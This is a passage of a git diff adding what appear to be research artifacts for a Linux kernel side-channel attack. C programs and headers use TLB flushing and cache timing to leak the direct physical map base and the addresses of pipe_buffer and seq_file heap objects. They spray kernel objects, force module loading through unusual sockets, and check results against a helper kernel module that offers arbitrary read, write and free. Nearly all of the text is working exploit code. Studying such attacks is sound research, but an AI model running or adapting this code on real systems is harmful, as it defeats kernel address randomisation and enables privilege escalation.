onlyreload(addr+2*(1<<12)); + times_n4[i] = onlyreload(addr+4*(1<<12)); + } + qsort(times, tries, sizeof(size_t), comp); + qsort(times_n2, tries, sizeof(size_t), comp); + qsort(times_n4, tries, sizeof(size_t), comp); + *time = times[tries/4]; + *time_n2 = times_n2[tries/4]; + *time_n4 = times_n4[tries/4]; +} +int is_2mb(int fd, size_t addr, size_t tries) +{ + size_t time; + size_t time_n2; + size_t time_n4; + get_times(fd, addr, tries, &time, &time_n2, &time_n4); + return (time < THRESHOLD && time_n2 < THRESHOLD && time_n4 < THRESHOLD); +} +int hit_flush(int fd, size_t addr, size_t tries) +{ + size_t time; + size_t time_n2; + size_t time_n4; + get_times(fd, addr, tries, &time, &time_n2, &time_n4); + return (time < THRESHOLD && (time_n2 > THRESHOLD || time_n4 > THRESHOLD)); +} + +int main(void) +{ + printf("[*] start\n"); + set_limit(); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + pin_to_core(0); + + init_tlb_flush(); + get_total_memory(); + + size_t time; + size_t prev_time = -1; + size_t last_slab = -1; + for (size_t i = 0; i < PIPE_BUFFER_SPRAY/2; ++i) { + alloc_pipes(pipes_spray[i], O_NONBLOCK); + resize_pipe(pipes_spray[i][0], 2); + write_pipe(pipes_spray[i][1], buffer, 8); + } + + printf("[*] load 1st half of kernel modules\n"); + int sock_fd; + sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP); + if (sock_fd < 0) { + perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)"); + exit(-1); + } + sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0); + if (sock_fd < 0) { + perror("socket(SOCK_DGRAM, CAN_BCM, 0)"); + exit(-1); + } + sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0); + if (sock_fd < 0) { + perror("socket(AF_VSOCK, SOCK_STREAM, 0)"); + exit(-1); + } + + for (size_t i = PIPE_BUFFER_SPRAY/2; i < PIPE_BUFFER_SPRAY; ++i) { + alloc_pipes(pipes_spray[i], O_NONBLOCK); + size_t t0 = rdtsc_begin(); + resize_pipe(pipes_spray[i][0], 2); + size_t t1 = rdtsc_end(); + write_pipe(pipes_spray[i][1], buffer, 8); + time = t1-t0; + if (time > (prev_time+1000)) { + if (last_slab == (size_t)-1) + last_slab = i; + else if (i - last_slab == OBJS_PER_SLAB) + break; + else + last_slab = -1; + } + prev_time = time; + } + for (size_t i = 0; i < PIPE_BUFFER; ++i) { + alloc_pipes(pipes[i], O_NONBLOCK); + resize_pipe(pipes[i][0], 2); + write_pipe(pipes[i][1], buffer, 8); + } + + printf("[*] load 2nd half of kernel modules\n"); + sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP); + if (sock_fd < 0) { + perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP"); + exit(-1); + } + sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP); + if (sock_fd < 0) { + perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)"); + exit(-1); + } + sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP); + if (sock_fd < 0) { + perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)"); + exit(-1); + } + + __attribute__((unused))size_t found_addresses[32]; + __attribute__((unused))size_t found_addresses_index = 0; + +#ifdef VALIDATE + lkm_init(); + size_t pipe_buffer_0; + size_t pipe_buffer_1; + size_t pipe_buffer_2; + size_t pipe_buffer_3; + size_t pipe_buffer_4; + size_t pipe_buffer_21; + size_t pipe_buffer_40; + size_t pipe_buffer_ns1; + size_t pipe_buffer_ns2; + size_t pipe_buffer_ns3; + size_t pipe_buffer_ns4; + size_t pipe_buffer_ns5; + lkm_pipe_buffer_leak((size_t)&pipe_buffer_0, pipes[0][0], 1); + printf("[*] pipe_buffer 0 %016zx\n", pipe_buffer_0); + lkm_pipe_buffer_leak((size_t)&pipe_buffer_1, pipes[1][0], 1); + printf("[*] pipe_buffer 1 %016zx\n", pipe_buffer_1); + lkm_pipe_buffer_leak((size_t)&pipe_buffer_2, pipes[2][0], 1); + printf("[*] pipe_buffer 2 %016zx\n", pipe_buffer_2); + lkm_pipe_buffer_leak((size_t)&pipe_buffer_3, pipes[3][0], 1); + printf("[*] pipe_buffer 3 %016zx\n", pipe_buffer_3); + lkm_pipe_buffer_leak((size_t)&pipe_buffer_4, pipes[4][0], 1); + printf("[*] pipe_buffer 4 %016zx\n", pipe_buffer_4); + lkm_pipe_buffer_leak((size_t)&pipe_buffer_21, pipes[21][0], 1); + printf("[*] pipe_buffer 21 %016zx\n", pipe_buffer_21); + lkm_pipe_buffer_leak((size_t)&pipe_buffer_40, pipes[40][0], 1); + printf("[*] pipe_buffer 40 %016zx\n", pipe_buffer_40); + lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns1, pipes[OBJS_PER_SLAB][0], 1); + printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB, pipe_buffer_ns1); + lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns2, pipes[OBJS_PER_SLAB*2][0], 1); + printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB*2, pipe_buffer_ns2); + lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns3, pipes[OBJS_PER_SLAB*3][0], 1); + printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB*3, pipe_buffer_ns3); + lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns4, pipes[OBJS_PER_SLAB*4][0], 1); + printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB*4, pipe_buffer_ns4); + lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns5, pipes[OBJS_PER_SLAB*5][0], 1); + printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB*5, pipe_buffer_ns5); + + size_t is_4kb = lkm_is_4kb(pipe_buffer_0); + printf("[*] %016zx is %s page\n", pipe_buffer_0, is_4kb ? "4kB" : "2MB"); +#endif + + size_t dpm_base = dpm_leak(TRIES); + printf("[*] dpm_base: %016zx\n", dpm_base); + for (size_t addr = dpm_base; addr < dpm_base+mem_total_rounded; addr += (1<<21)) { + if ((addr % (1 << 30)) == 0) + printf("[*] addr %016zx\n", addr); + + if (is_2mb(pipes[0][0], addr, 40)) + continue; + for (size_t i = 0; i < (1ULL << 21); i += (1ULL << 12)) { + size_t cur_addr = addr + i; + size_t found_0 = hit_flush(pipes[0][0], cur_addr, TRIES); + if (!found_0) + continue; + + size_t found_ns1 = hit_flush(pipes[OBJS_PER_SLAB][0], cur_addr, TRIES); + if (found_ns1) + continue; + size_t found_ns2 = hit_flush(pipes[OBJS_PER_SLAB*2][0], cur_addr, TRIES); + if (found_ns2) + continue; + size_t found_ns3 = hit_flush(pipes[OBJS_PER_SLAB*3][0], cur_addr, TRIES); + if (found_ns3) + continue; + size_t found_ns4 = hit_flush(pipes[OBJS_PER_SLAB*4][0], cur_addr, TRIES); + if (found_ns4) + continue; + size_t found_ns5 = hit_flush(pipes[OBJS_PER_SLAB*5][0], cur_addr, TRIES); + if (found_ns5) + continue; + + size_t found_1 = hit_flush(pipes[1][0], cur_addr, TRIES); + if (!found_1) + continue; + size_t found_2 = hit_flush(pipes[2][0], cur_addr, TRIES); + if (!found_2) + continue; + size_t found_3 = hit_flush(pipes[3][0], cur_addr, TRIES); + if (!found_3) + continue; + size_t found_21 = hit_flush(pipes[21][0], cur_addr, TRIES); + if (!found_21) + continue; + size_t found_40 = hit_flush(pipes[40][0], cur_addr, TRIES); + if (!found_40) + continue; + size_t found_39 = hit_flush(pipes[39][0], cur_addr, TRIES); + if (!found_39) + continue; + + found_addresses[found_addresses_index++] = cur_addr; + printf("[+] found addr %016zx\n", cur_addr); + } + } + + if (found_addresses_index == 0) + printf("[!] non found -> retry\n"); + else if (found_addresses_index != 1) + printf("[!] multiple addresses -> retry\n"); +#ifdef VALIDATE + else if (found_addresses[0] == (pipe_buffer_0 & ~((1<<12)-1))) + printf("[+] success\n"); + else + printf("[!] fail\n"); +#else + else + printf("[*] found %016zx\n", found_addresses[0]); +#endif +} diff --git a/artifacts/heap/seq_file_leak.c b/artifacts/heap/seq_file_leak.c new file mode 100644 index 000000000..00763c004 --- /dev/null +++ b/artifacts/heap/seq_file_leak.c @@ -0,0 +1,212 @@ +#include "utils.h" +#include "cacheutils.h" +#include "tlb_flush.h" +#include "coarse_grain_leak.h" +#define VALIDATE +#ifdef VALIDATE +#include "ulkm.h" +#endif +#include +#include +#include +#include +#define IPPROTO_DCCP 33 +#define IPPROTO_SCTP 132 +#define IPPROTO_L2TP 115 +#define CAN_RAW 1 +#define CAN_BCM 2 +#define CAN_ISOTP 6 + +#define OBJS_PER_SLAB 34 +#define FILES_SPRAY (OBJS_PER_SLAB*200) +#define FILES (OBJS_PER_SLAB*10) + +#define TRIES 40 + +char buffer[1<<12]; +void get_times(int fd, size_t addr, size_t tries, size_t *time, size_t *time_n2, size_t *time_n4) +{ + size_t times[tries]; + size_t times_n2[tries]; + size_t times_n4[tries]; + for (size_t i = 0; i < tries; ++i) { + flush_tlb_targeted_4k(addr); + flush_tlb_targeted_4k(addr+2*(1<<12)); + flush_tlb_targeted_4k(addr+2*(1<<12)); + lseek(fd, 0, SEEK_SET); + times[i] = onlyreload(addr); + times_n2[i] = onlyreload(addr+2*(1<<12)); + times_n4[i] = onlyreload(addr+4*(1<<12)); + } + qsort(times, tries, sizeof(size_t), comp); + qsort(times_n2, tries, sizeof(size_t), comp); + qsort(times_n4, tries, sizeof(size_t), comp); + *time = times[tries/4]; + *time_n2 = times_n2[tries/4]; + *time_n4 = times_n4[tries/4]; +} +int is_2mb(int fd, size_t addr, size_t tries) +{ + size_t time; + size_t time_n2; + size_t time_n4; + get_times(fd, addr, tries, &time, &time_n2, &time_n4); + return (time < THRESHOLD && time_n2 < THRESHOLD && time_n4 < THRESHOLD); +} +int hit_flush(int fd, size_t addr, size_t tries) +{ + size_t time; + size_t time_n2; + size_t time_n4; + get_times(fd, addr, tries, &time, &time_n2, &time_n4); + return (time < THRESHOLD && (time_n2 > THRESHOLD || time_n4 > THRESHOLD)); +} + +int main(void) +{ + printf("[*] start\n"); + set_limit(); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + init_tlb_flush(); + get_total_memory(); + + for (size_t i = 0; i < FILES_SPRAY; ++i) + open("/proc/self/stat", O_RDONLY); + + printf("[*] load 1st half of kernel modules\n"); + int sock_fd; + sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP); + if (sock_fd < 0) { + perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)"); + exit(-1); + } + sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0); + if (sock_fd < 0) { + perror("socket(SOCK_DGRAM, CAN_BCM, 0)"); + exit(-1); + } + sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0); + if (sock_fd < 0) { + perror("socket(AF_VSOCK, SOCK_STREAM, 0)"); + exit(-1); + } + + int fds[FILES]; + for (size_t i = 0; i < FILES; ++i) { + fds[i] = open("/proc/self/stat", O_RDONLY); + if (fds[i] < 0) { + perror("open(/proc/self/stat)"); + exit(-1); + } + } + + printf("[*] load 2nd half of kernel modules\n"); + sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP); + if (sock_fd < 0) { + perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP"); + exit(-1); + } + sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP); + if (sock_fd < 0) { + perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)"); + exit(-1); + } + sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP); + if (sock_fd < 0) { + perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)"); + exit(-1); + } + + __attribute__((unused))size_t found_addresses[32]; + size_t found_addresses_index = 0; + +#ifdef VALIDATE + lkm_init(); + size_t seq_file_0; + size_t seq_file_1; + size_t seq_file_2; + size_t seq_file_3; + size_t seq_file_33; + lkm_seq_file_leak((size_t)&seq_file_0, fds[0]); + printf("[*] seq_file 0 %016zx\n", seq_file_0); + lkm_seq_file_leak((size_t)&seq_file_1, fds[1]); + printf("[*] seq_file 1 %016zx\n", seq_file_1); + lkm_seq_file_leak((size_t)&seq_file_2, fds[2]); + printf("[*] seq_file 2 %016zx\n", seq_file_2); + lkm_seq_file_leak((size_t)&seq_file_3, fds[3]); + printf("[*] seq_file 3 %016zx\n", seq_file_3); + lkm_seq_file_leak((size_t)&seq_file_33, fds[OBJS_PER_SLAB-1]); + printf("[*] seq_file %d %016zx\n", OBJS_PER_SLAB-1, seq_file_33); + + size_t is_4kb = lkm_is_4kb(seq_file_0); + printf("[*] %016zx is %s page\n", seq_file_0, is_4kb ? "4kB" : "2MB"); +#endif + + size_t dpm_base = dpm_leak(TRIES); + printf("[*] dpm_base: %016zx\n", dpm_base); + for (size_t addr = dpm_base; addr < dpm_base+mem_total_rounded; addr += (1<<21)) { + if ((addr % (1 << 30)) == 0) + printf("[*] addr %016zx\n", addr); + if (is_2mb(fds[0], addr, 40)) + continue; + + for (size_t i = 0; i < (1ULL << 21); i += (1ULL << 12)) { + size_t cur_addr = addr + i; + size_t found_0 = hit_flush(fds[0], cur_addr, TRIES); + if (!found_0) + continue; + + size_t found_ns1 = hit_flush(fds[OBJS_PER_SLAB], cur_addr, TRIES); + if (found_ns1) + continue; + size_t found_ns2 = hit_flush(fds[OBJS_PER_SLAB*2], cur_addr, TRIES); + if (found_ns2) + continue; + size_t found_ns3 = hit_flush(fds[OBJS_PER_SLAB*3], cur_addr, TRIES); + if (found_ns3) + continue; + size_t found_ns4 = hit_flush(fds[OBJS_PER_SLAB*4], cur_addr, TRIES); + if (found_ns4) + continue; + size_t found_ns5 = hit_flush(fds[OBJS_PER_SLAB*5], cur_addr, TRIES); + if (found_ns5) + continue; + size_t found_ns6 = hit_flush(fds[OBJS_PER_SLAB*6], cur_addr, TRIES); + if (found_ns6) + continue; + + size_t found_1 = hit_flush(fds[1], cur_addr, TRIES); + if (!found_1) + continue; + size_t found_2 = hit_flush(fds[2], cur_addr, TRIES); + if (!found_2) + continue; + size_t found_3 = hit_flush(fds[3], cur_addr, TRIES); + if (!found_3) + continue; + + if (found_addresses_index == 32) { + printf("[?] too much found addresses\n"); + continue; + } + found_addresses[found_addresses_index++] = cur_addr; + printf("[+] found addr %016zx\n", cur_addr); + } + } + if (found_addresses_index == 0) + printf("[!] non found -> retry\n"); + else if (found_addresses_index != 1) + printf("[!] multiple addresses -> retry\n"); +#ifdef VALIDATE + else if (found_addresses[0] == (seq_file_0 & ~((1<<12)-1))) + printf("[+] success\n"); + else + printf("[!] fail\n"); +#else + else + printf("[*] found %016zx\n", found_addresses[0]); +#endif +} \ No newline at end of file diff --git a/artifacts/include/cacheutils.h b/artifacts/include/cacheutils.h new file mode 100644 index 000000000..778341262 --- /dev/null +++ b/artifacts/include/cacheutils.h @@ -0,0 +1,136 @@ +#ifndef CACHEUTILS_H +#define CACHEUTILS_H + +#ifndef HIDEMINMAX +#define MAX(X,Y) (((X) > (Y)) ? (X) : (Y)) +#define MIN(X,Y) (((X) < (Y)) ? (X) : (Y)) +#endif + +void maccess(void *p) { asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); } + +inline size_t rdtsc_nofence(void) +{ + size_t a, d; + asm volatile ("rdtsc" : "=a" (a), "=d" (d)); + a = (d<<32) | a; + return a; +} + +inline size_t rdtsc(void) +{ + size_t a, d; + asm volatile ("mfence"); + asm volatile ("rdtsc" : "=a" (a), "=d" (d)); + a = (d<<32) | a; + asm volatile ("mfence"); + return a; +} + +inline size_t rdtsc_cpuid_begin() { + size_t a, d; + asm volatile ("mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "CPUID\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +inline size_t rdtsc_cpuid_end() { + size_t a, d; + asm volatile( + "xor %%rax, %%rax\n\t" + "CPUID\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + + +inline size_t rdtsc_begin(void) +{ + size_t a, d; + asm volatile ("mfence"); + asm volatile ("rdtsc" : "=a" (a), "=d" (d)); + a = (d<<32) | a; + asm volatile ("lfence"); + return a; +} + +inline size_t rdtsc_end(void) +{ + size_t a, d; + asm volatile ("lfence"); + asm volatile ("rdtsc" : "=a" (a), "=d" (d)); + a = (d<<32) | a; + asm volatile ("mfence"); + return a; +} + +inline void flush(__attribute__((unused))size_t p) +{ + asm volatile (".intel_syntax noprefix"); + asm volatile ("clflush qword ptr [%0]\n" : : "r" (p)); + asm volatile (".att_syntax"); +} + +inline void prefetcht0(void* p) +{ + asm volatile ("prefetcht0 (%0)" : : "r" (p)); +} + +inline void prefetcht1(void* p) +{ + asm volatile ("prefetcht1 (%0)" : : "r" (p)); +} + +inline void prefetcht2(void* p) +{ + asm volatile ("prefetcht2 (%0)" : : "r" (p)); +} + +inline void prefetchnta(void* p) +{ + asm volatile ("prefetchnta (%0)" : : "r" (p)); +} + +// --------------------------------------------------------------------------- +inline void prefetch2(void* p) +{ + asm volatile ("prefetchnta (%0)" : : "a" (p)); + asm volatile ("prefetcht2 (%0)" : : "a" (p)); +} + + +inline void prefetch(__attribute__((unused))size_t p) +{ + asm volatile (".intel_syntax noprefix"); + asm volatile ("prefetchnta qword ptr [%0]" : : "r" (p)); + asm volatile ("prefetcht2 qword ptr [%0]" : : "r" (p)); + asm volatile (".att_syntax"); +} + +inline void longnop(void) +{ + asm volatile ("nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" + "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" + "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" + "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" + "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" + "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" + "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" + "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"); +} + +#endif diff --git a/artifacts/include/coarse_grain_leak.h b/artifacts/include/coarse_grain_leak.h new file mode 100644 index 000000000..d8315b740 --- /dev/null +++ b/artifacts/include/coarse_grain_leak.h @@ -0,0 +1,92 @@ +#pragma once + +#include "utils.h" +#include "cacheutils.h" +#include "tlb_flush.h" +#include +#include +#include +#include +#include +#include +#include +#include + +#define IDENTITY_START 0xffff888000000000 +#define IDENTITY_END 0xffffc87fffffffff +#define VMEMMAP_START 0xffff888800000000 +#define VMEMMAP_END (0xfffff00000000000-(1ULL<<30)) + +size_t __vmemmap_leak(size_t tries, size_t *found) +{ + size_t addr; + for (addr = VMEMMAP_END; addr > VMEMMAP_START; addr -= (1ULL << 30)) { + for (size_t i = 0; i < tries; ++i) { + *found = hit(addr, 4) && hit_accurate(addr, 30); + if (*found) + break; + } + if (*found) + break; + } + return addr; +} +size_t vmemmap_leak(size_t tries) +{ + size_t found = 0; + return __vmemmap_leak(tries, &found); +} +size_t vmemmap_leak_found(size_t tries, size_t *found) +{ + return __vmemmap_leak(tries, found); +} + +size_t __dpm_leak(size_t tries, size_t *found) +{ + size_t addr; + for (addr = IDENTITY_START; addr < IDENTITY_END; addr += (1ULL << 30)) { + for (size_t i = 0; i < tries; ++i) { + *found = hit(addr, 4) && hit_accurate(addr, 30); + if (*found) + break; + } + if (*found) + break; + } + return addr; +} +size_t dpm_leak(size_t tries) +{ + size_t found = 0; + return __dpm_leak(tries, &found); +} +size_t dpm_leak_found(size_t tries, size_t *found) +{ + return __dpm_leak(tries, found); +} + +size_t __vmalloc_leak(size_t tries, size_t *found) +{ + size_t addr; + size_t dpm_base = dpm_leak(tries); + // 128 GB after the dpm base + for (addr = dpm_base + (128ULL << 30); addr < VMEMMAP_END; addr += (1ULL << 30)) { + for (size_t i = 0; i < tries; ++i) { + *found = hit(addr, 4) && hit_accurate(addr, 30); + if (*found) + break; + } + if (*found) + break; + } + return addr; +} +size_t vmalloc_leak(size_t tries) +{ + size_t found = 0; + return __vmalloc_leak(tries, &found); +} +size_t vmalloc_leak_found(size_t tries, size_t *found) +{ + return __vmalloc_leak(tries, found); +} \ No newline at end of file diff --git a/artifacts/include/debug.h b/artifacts/include/debug.h new file mode 100644 index 000000000..b57689bd5 --- /dev/null +++ b/artifacts/include/debug.h @@ -0,0 +1,143 @@ +#pragma once +#include +#include +#include + +enum AnsiColor +{ + Ansi_Red = 31, + Ansi_Green = 32, + Ansi_Yellow = 33, + Ansi_Blue = 34, + Ansi_Magenta = 35, + Ansi_Cyan = 36, + Ansi_White = 37, +}; + +size_t DEBUG = 0; +size_t INFO = 1; +size_t SUCCESS = 1; +size_t ERROR = 1; + +#define DEBUG_NO_COLOR + +#ifndef DEBUG_NO_COLOR +#define DEBUG_FORMAT_STRING "\033[1;%zum[%-1s]\033[0;39m " +#define PRINTF_INFO(x) DEBUG_FORMAT_STRING, debug_colors[x], debug_labels[x] +#define PRINTF_DEBUG(x) DEBUG_FORMAT_STRING "[%6d] ", debug_colors[x], debug_labels[x], gettid() +#else +#define DEBUG_FORMAT_STRING "[%-1s] " +#define PRINTF_INFO(x) DEBUG_FORMAT_STRING, debug_labels[x] +#define PRINTF_DEBUG(x) DEBUG_FORMAT_STRING "[%6d] ", debug_labels[x], gettid() +#endif + +#define debug_debug(...) do { if (DEBUG) { printf(PRINTF_DEBUG(0)); printf(__VA_ARGS__); } } while (0) +#define debug_info(...) do { if (INFO) { printf(PRINTF_INFO(0)); printf(__VA_ARGS__); } } while (0) +#define debug_success(...) do { if (SUCCESS) { printf(PRINTF_INFO(1)); printf(__VA_ARGS__); } } while (0) +#define debug_error(...) do { if (ERROR) { printf(PRINTF_INFO(2)); printf(__VA_ARGS__); exit(-1); } } while (0) +#define debug_print(...) do { printf(PRINTF_INFO(0)); printf(__VA_ARGS__); } while (0) + +// static int current_stage = 0; +// __attribute__((unused))static void next_stage(void) +// { +// current_stage++; +// } +static const char* debug_labels[] = +{ + "*", "+", "!" +}; +static const size_t debug_colors[] = +{ + Ansi_Cyan, Ansi_Green, Ansi_Red +}; +__attribute__((unused))static void hex_dump(size_t* addresses, size_t length) +{ + for (size_t i = 0; i < length; ++i) + { + debug_info("0x%016lx\n", addresses[i]); + } +} + +void wait_input(void) +{ + debug_print("> "); + getchar(); +} + +#define MAX_TIME 4096 +#define RATIO 2 +#define MAX_TIME_VAL 128 +void print_ptrs_times(size_t *ptrs, size_t *times, size_t size) +{ + size_t max = 0; + size_t min = -1; + size_t adjusted_time; + + for (size_t i = 0; i < size; ++i) { + if (times[i] > max && times[i] < 4000 + max) + max = times[i]; + if (times[i] < min) + min = times[i]; + } + + for (size_t i = 0; i < size; ++i) { + adjusted_time = (times[i] - min) * MAX_TIME_VAL / max; + printf("% 5ld:% 7ld:%016zx:", i, times[i], ptrs[i]); + for (size_t j = 0; j < adjusted_time; ++j) + printf("#"); + printf("\n"); + } +} +void print_times(size_t *times, size_t size) +{ + size_t max = 0; + size_t min = -1; + size_t adjusted_time; + + for (size_t i = 0; i < size; ++i) { + if (times[i] > max && times[i] < 4000 + max) + max = times[i]; + if (times[i] < min) + min = times[i]; + } + + for (size_t i = 0; i < size; ++i) { + adjusted_time = (times[i] - min) * MAX_TIME_VAL / max; + printf("% 5ld:% 7ld:", i, times[i]); + for (size_t j = 0; j < adjusted_time; ++j) + printf("#"); + printf("\n"); + } +} +void print_hist(size_t *times, size_t size) +{ + size_t start_time = 0; + size_t end_time = MAX_TIME; + size_t hist[MAX_TIME]; + memset(hist, 0, sizeof(hist)); + + for (size_t i = 0; i < size; ++i) + if (times[i]/RATIO < MAX_TIME) + ++hist[times[i]/RATIO]; + + for (size_t i = 0; i < MAX_TIME; ++i) { + if (hist[i] > 3) { + start_time = i; + break; + } + } + + for (ssize_t i = MAX_TIME; i >= 0; --i) { + if (hist[i] > 3) { + end_time = i; + break; + } + } + + for (size_t i = start_time; i < end_time; ++i) { + printf("% 5ld:", i*RATIO); + for (size_t j = 0; j < hist[i]; ++j) + printf("#"); + printf("\n"); + } +} \ No newline at end of file diff --git a/artifacts/include/lkm.h b/artifacts/include/lkm.h new file mode 100644 index 000000000..23b922d6d --- /dev/null +++ b/artifacts/include/lkm.h @@ -0,0 +1,76 @@ +#pragma once + +#define LKM_ALLOC 100 +#define LKM_FREE 101 +#define LKM_READ 102 +#define LKM_WRITE 103 +#define LKM_ALLOC_LOCATION 104 +#define LKM_DPM_TEST 105 +#define LKM_ACCESS_PRIMITIVE 106 +#define LKM_BPF_DPM_SPLIT 107 +#define LKM_MSG_MSG_LEAK 108 +#define LKM_DPM_LEAK 109 +#define LKM_VIRTUAL_BASE_LEAK 110 +#define LKM_STACK_LEAK 111 +#define LKM_CODE_LEAK 112 +#define LKM_VMEMMAP_LEAK 113 +#define LKM_VMALLOC_BASE_LEAK 114 +#define LKM_SEQ_FILE_LEAK 115 +#define LKM_CRED_LEAK 116 +#define LKM_FILE_LEAK 117 +#define LKM_ARB_FREE 118 +#define LKM_PIPE_BUFFER_LEAK 119 +#define LKM_PAGETABLE_WALK 120 +#define LKM_IS_4KB 121 + +typedef union { + struct write { + size_t kaddr; + size_t value; + } wr; + struct read { + size_t kaddr; + size_t uaddr; + } rd; + struct access_primitive { + size_t addr; + } ap; + struct dpm_split { + size_t size; + } dpms; + struct msg_msg_rd { + size_t uaddr; + size_t msqid; + size_t mtype; + } mrd; + struct dpm_rd { + size_t uaddr; + } drd; + struct alloc { + size_t id; + size_t size; + } al; + struct free { + size_t id; + } fr; + struct file_rd { + size_t fd; + size_t uaddr; + } frd; + struct pipe_buffer_rd { + size_t fd; + size_t uaddr; + size_t rdend; + } pbrd; + struct arb_free { + size_t kaddr; + } af; + struct pagetable_walk { + size_t uaddr; + size_t pgde; + size_t p4de; + size_t pude; + size_t pmde; + size_t pte; + } ptw; +} msg_t; \ No newline at end of file diff --git a/artifacts/include/msg_msg.h b/artifacts/include/msg_msg.h new file mode 100644 index 000000000..5143ff48e --- /dev/null +++ b/artifacts/include/msg_msg.h @@ -0,0 +1,66 @@ +#pragma once +#include +#include +#include +#include +#include + +int make_queue(key_t key, int msgflg) +{ + int result; + if ((result = msgget(key, msgflg)) == -1) { + perror("msgget"); + exit(-1); + } + return result; +} + +int cleanup_queue_no_err(key_t key) +{ + return msgctl(key, IPC_RMID, 0); +} + +int cleanup_queue(key_t key) +{ + int result; + if ((result = msgctl(key, IPC_RMID, 0)) == -1) { + perror("msgctl"); + exit(-1); + } + return result; +} + +typedef struct { + long mtype; + char mtext[1]; +} msg; + +void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg) +{ + if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) { + perror("msgsnd"); + exit(-1); + } + return; +} + +void send_msg_no_err(int msqid, void *msgp, size_t msgsz, int msgflg) +{ + msgsnd(msqid, msgp, msgsz, msgflg); +} + +ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) +{ + ssize_t ret; + ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg); + if (ret < 0) { + perror("msgrcv"); + exit(-1); + } + return ret; +} + +ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) +{ + return msgrcv(msqid, msgp, msgsz, msgtyp, msgflg); +} \ No newline at end of file diff --git a/artifacts/include/pgtable.h b/artifacts/include/pgtable.h new file mode 100644 index 000000000..dde717db6 --- /dev/null +++ b/artifacts/include/pgtable.h @@ -0,0 +1,57 @@ +#pragma once + +#define _PAGE_BIT_PRESENT 0 /* is present */ +#define _PAGE_BIT_RW 1 /* writeable */ +#define _PAGE_BIT_USER 2 /* userspace addressable */ +#define _PAGE_BIT_PWT 3 /* page write through */ +#define _PAGE_BIT_PCD 4 /* page cache disabled */ +#define _PAGE_BIT_ACCESSED 5 /* was accessed (raised by CPU) */ +#define _PAGE_BIT_DIRTY 6 /* was written to (raised by CPU) */ +#define _PAGE_BIT_PSE 7 /* 4 MB (or 2MB) page */ +#define _PAGE_BIT_PAT 7 /* on 4KB pages */ +#define _PAGE_BIT_GLOBAL 8 /* Global TLB entry PPro+ */ +#define _PAGE_BIT_SOFTW1 9 /* available for programmer */ +#define _PAGE_BIT_SOFTW2 10 /* " */ +#define _PAGE_BIT_SOFTW3 11 /* " */ +#define _PAGE_BIT_PAT_LARGE 12 /* On 2MB or 1GB pages */ +#define _PAGE_BIT_SOFTW4 58 /* available for programmer */ +#define _PAGE_BIT_PKEY_BIT0 59 /* Protection Keys, bit 1/4 */ +#define _PAGE_BIT_PKEY_BIT1 60 /* Protection Keys, bit 2/4 */ +#define _PAGE_BIT_PKEY_BIT2 61 /* Protection Keys, bit 3/4 */ +#define _PAGE_BIT_PKEY_BIT3 62 /* Protection Keys, bit 4/4 */ +#define _PAGE_BIT_NX 63 /* No execute: only valid after cpuid check */ + +#define _PAGE_PRESENT (1ULL << _PAGE_BIT_PRESENT) +#define _PAGE_RW (1ULL << _PAGE_BIT_RW) +#define _PAGE_USER (1ULL << _PAGE_BIT_USER) +#define _PAGE_PWT (1ULL << _PAGE_BIT_PWT) +#define _PAGE_PCD 